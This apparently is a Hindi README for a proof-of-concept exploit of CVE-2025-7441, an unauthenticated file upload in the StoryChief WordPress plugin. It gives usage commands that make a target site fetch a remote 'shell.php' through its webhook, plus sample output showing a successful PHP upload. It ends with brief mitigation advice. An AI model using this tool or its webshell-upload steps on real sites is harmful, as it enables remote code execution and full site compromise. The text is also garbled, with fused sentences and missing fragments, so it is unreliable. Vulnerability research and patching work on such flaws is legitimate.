
StoryChief <= 1.0.42 - अप्रमाणित मनमानी फ़ाइल अपलोड
/wp-json/storychief/webhookdata.featured_image.data.sizes.full के अंतर्गत) होता है और बिना पर्याप्त सत्यापन (कोई डोमेन अनुमति सूची, अपर्याप्त MIME/सामग्री जाँच, फ़ाइलें सार्वजनिक अपलोड पथों पर सहेजी जाती हैं) के उस URL पर सर्वर-साइड HTTP GET करता है।wp-content/uploads/YYYY/MM/<filename>) में लाने और संग्रहीत करने का कारण बना सकता है। यदि अपलोड की गई फ़ाइल सर्वर द्वारा व्याख्या/निष्पादित की जा सकती है (उदाहरण के लिए, एक PHP फ़ाइल और सर्वर वहाँ PHP निष्पादन की अनुमति देता है), तो यह रिमोट कोड निष्पादन (RCE) और पूर्ण साइट से समझौता करने की ओर ले जाता है।CVE-2025-7441)यह स्क्रिप्ट कमजोरी के लिए विशिष्ट शोषण सत्यापन प्रवाह को स्वचालित करती है:
data.featured_image.data.sizes.full में एक रिमोट फ़ाइल URL रखता है।meta.mac में संग्रहीत करें।<site_url>/wp-json/storychief/webhook पर POST करें।<site_url>/wp-content/uploads///
यदि फ़ाइल HTTP 200 के साथ प्रतिक्रिया करती है, तो स्क्रिप्ट सफलता की रिपोर्ट करती है; अन्यथा यह <अपलोड विफल> प्रिंट करती है।
स्क्रिप्ट में निम्नलिखित फ़्लैग शामिल हैं: --file-url, --verbose, --use-curl, और --retries।
python3 CVE-2025-7441.py <site_url>
<site_url> — लक्ष्य साइट का आधार URL। उदाहरण: http://127.0.0.1:5000/ या https://target.example/--file-url — PoC द्वारा उपयोग किए जाने वाले डिफ़ॉल्ट रिमोट फ़ाइल URL को ओवरराइड करें। डिफ़ॉल्ट: हार्ड-कोडेड नमूना कच्चा GitHub URL। उदाहरण: --file-url https://127.0.0.1:5000/zip.php--verbose — विस्तृत आउटपुट सक्षम करें (अनुरोध/प्रतिक्रिया विवरण और जाँच प्रगति प्रिंट करता है)।--use-curl — POST देने के लिए curl उपप्रक्रिया का उपयोग करें (फ़ॉलबैक मोड)। curl स्थापित होना आवश्यक है।--retries — फ़ाइल के लिए अपेक्षित अपलोड पथ की जाँच करने के प्रयासों की संख्या। डिफ़ॉल्ट: 1। जैसे --retries 5 का उपयोग करके कई बार पोल करें।python3 CVE-2025-7441.py http://127.0.0.1:5000/
एक कस्टम रिमोट फ़ाइल URL निर्दिष्ट करें
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php
विस्तृत आउटपुट और एकाधिक जाँचें
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5
POST देने के लिए curl का उपयोग करें
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose
आउटपुट:
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
शमन एवं सुधार अल्पकालिक:
जैसे ही उपलब्ध हो, StoryChief को पैच किए गए संस्करण में अपग्रेड करें। WAF या सर्वर नियमों के माध्यम से /wp-json/storychief/webhook को ब्लॉक या प्रतिबंधित करें। सर्वर आउटबाउंड फ़ेच या अविश्वसनीय डोमेन के लिए ईग्रेस को प्रतिबंधित करें।
डेवलपर मार्गदर्शन:
किसी भी रिमोट फ़ेच के बाद फ़ाइल प्रकारों और सामग्री को मान्य करें; सुरक्षित पार्सर का उपयोग करके छवियों को सत्यापित करें और अमान्य फ़ाइलों को अस्वीकार करें। सर्वर-साइड डाउनलोड या फ़ाइल निर्माण का कारण बनने वाले वेबहुक के लिए प्रमाणीकरण की आवश्यकता है। सुनिश्चित करें कि HMAC/हस्ताक्षर सत्यापन लागू और प्रवर्तित हो। अपलोड की गई सामग्री को वेबरूट के बाहर संग्रहीत करें या wp-content/uploads में अपलोड की गई फ़ाइलों के निष्पादन को अक्षम करें।